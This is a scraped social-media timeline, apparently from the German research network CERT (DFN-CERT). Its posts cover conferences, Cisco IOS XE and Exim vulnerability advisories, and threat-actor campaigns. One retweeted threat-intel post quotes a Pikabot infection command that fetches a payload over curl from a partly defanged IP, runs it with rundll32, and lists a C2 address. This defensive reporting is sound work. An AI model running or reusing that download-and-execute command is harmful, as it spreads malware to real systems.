Joined January 2015
385 Photos and videos
Auch wir sehen vermehrt mit #Pikabot infizierte Systeme in unseren #Netflow Daten und informieren betroffenen Einrichtungen unmittelbar. 🤗
#Pikabot - #TA577 - url > .zip > .js > curl > .dll wscript Cmejuzqk.js cmd /c cuRl http://216.128.185.]35/mdh/gunne -o %TMp%\XBMr.sct ruNdll32 %TMP%\XBMr.sct, Crash One new c2 added today👇full config in github. c2 188.26.127.4:13785 IOC's github.com/pr0xylife/Pikabot…
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DFN-CERT | @dfncert@infosec.exchange retweeted
#CONNECT44 - the latest GÉANT CONNECT Magazine is now out, and it's a jam-packed issue with contributions from the community! Highlights: 🌐 #OpenScience ⚛️ #Quantum Communications ⚡️ #HPC & applications in R&E And many more topics! Read it here 👉 connect.geant.org/connect44
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DFN-CERT | @dfncert@infosec.exchange retweeted
⚓️Ahoi! Dabei sein & mitfeiern!🎂Wir zelebrieren die 10. DFN-Konferenz „#Datenschutz“ an den #Landungsbrücken🚢in Hamburg @DFNCERT Am Dienstag & Mittwoch, 28. & 29. November 2023 ist es soweit. Meldet Euch gleich an! 👉dfn-cert.de/veranstaltungen/…
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DFN-CERT | @dfncert@infosec.exchange retweeted
Cisco CVE-2023-20198 exploitation activity: We see over 32.8K Cisco IOS XE IPs compromised with implants based on the check published by Cisco in blog.talosintelligence.com/a… IP data on implants shared out daily in: shadowserver.org/what-we-do/… tagged 'device-implant'.
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#Cisco admins please disable the HTTP Server-Feature on internet facing Cisco IOS XE devices or else (CVE-2023-20198). CVSS 10.0 via Web UI, no updates, exploitation detected. sec.cloudapps.cisco.com/secu…
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DFN-CERT | @dfncert@infosec.exchange retweeted
🥳Der neue #DFNInfobriefRecht ist online! Diesen Monat berichtet die Forschungsstelle Recht der @uni_muenster über 👩‍⚖️Datenschutzrecht im #Metaverse, Kritik an der aktuellen Praxis des #elending & über das neue EU-US Data Privacy Framework. 👉 dfn.de/dfn-infobrief-recht-i…
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Season starts early this year: major incidents in the German National Research and Education Network @DFN_de are piling up. Stay safe everyone and contact cert@dfn-cert.de if in trouble!
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The ZDI published some 0Day advisories for #Exim recently at zerodayinitiative.com/adviso…. RCE with CVSS Base Score of 9.8 is among the vulnerabilities, but Exim devs are not so sure ¯\_(ツ)_/¯.

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3 of 6 #Exim Patches are available for distribution maintainers, 2x severity 'high' (RCE would be 'critical'). seclists.org/oss-sec/2023/q3… github.com/Exim/exim/wiki/Ex…

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Exim 4.97 is in the works (RC1 available) and should include patches, but no confirmation so far. lists.exim.org/lurker/messag…

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DFN-CERT | @dfncert@infosec.exchange retweeted
On September 21st, 2023 Telekom Security CTI Team observed the threat actor #TA577, also known as "TR", launching a new high-volume malware distribution campaign spreading #DarkGate malware. 🧵 1/4
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DFN-CERT | @dfncert@infosec.exchange retweeted
19 Sep 2023
Long time no see! 👋 V25 of my family tree 🌳 dedicated to #ransomware is out on @orangecyberdef’s GitHub. Always happy to receive your reviews so don’t hesitate :)) ➡️github.com/cert-orangecyberd… #CyberSecurity #cti @CERTCyberdef
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DFN-CERT | @dfncert@infosec.exchange retweeted
There is still time to submit your paper to the Elbsides light conference - send in your talk elbsides.eu/2023/cfp/ until Sept 23rd #wewantyourtalk #infosec #cybersecurity #cfp
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DFN-PKI: Version 13 der Zertifizierungsrichtlinie der DFN-PKI im Sicherheitsniveau „Global“ blog.pki.dfn.de/2023/09/vers…

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DFN-CERT | @dfncert@infosec.exchange retweeted
🏙️Berlin, Berlin, wir fahren nach Berlin – heißt es im Oktober zur #DFN_BT79! Nur noch wenige Woche, dann sehen wir uns wieder bei der 79. DFN-Betriebstagung am 17. & 18.10.2023 zum Austauschen & auf den neusten Stand bringen🫂. Wir freuen uns wie Bolle! dfn.de/event/79-betriebstagu…

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Working with security advisories? Heard of #CSAF? A study from members of @UniFAU tries to identify difficulties in reception and processing of vendor advisories. Please support the study by taking part in this anonymous 10 minute survey: user-surveys.cs.fau.de/?r=se… Thx! 💐

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DFN-PKI: Java RA-Oberfläche Version 3.9 blog.pki.dfn.de/2023/08/java…

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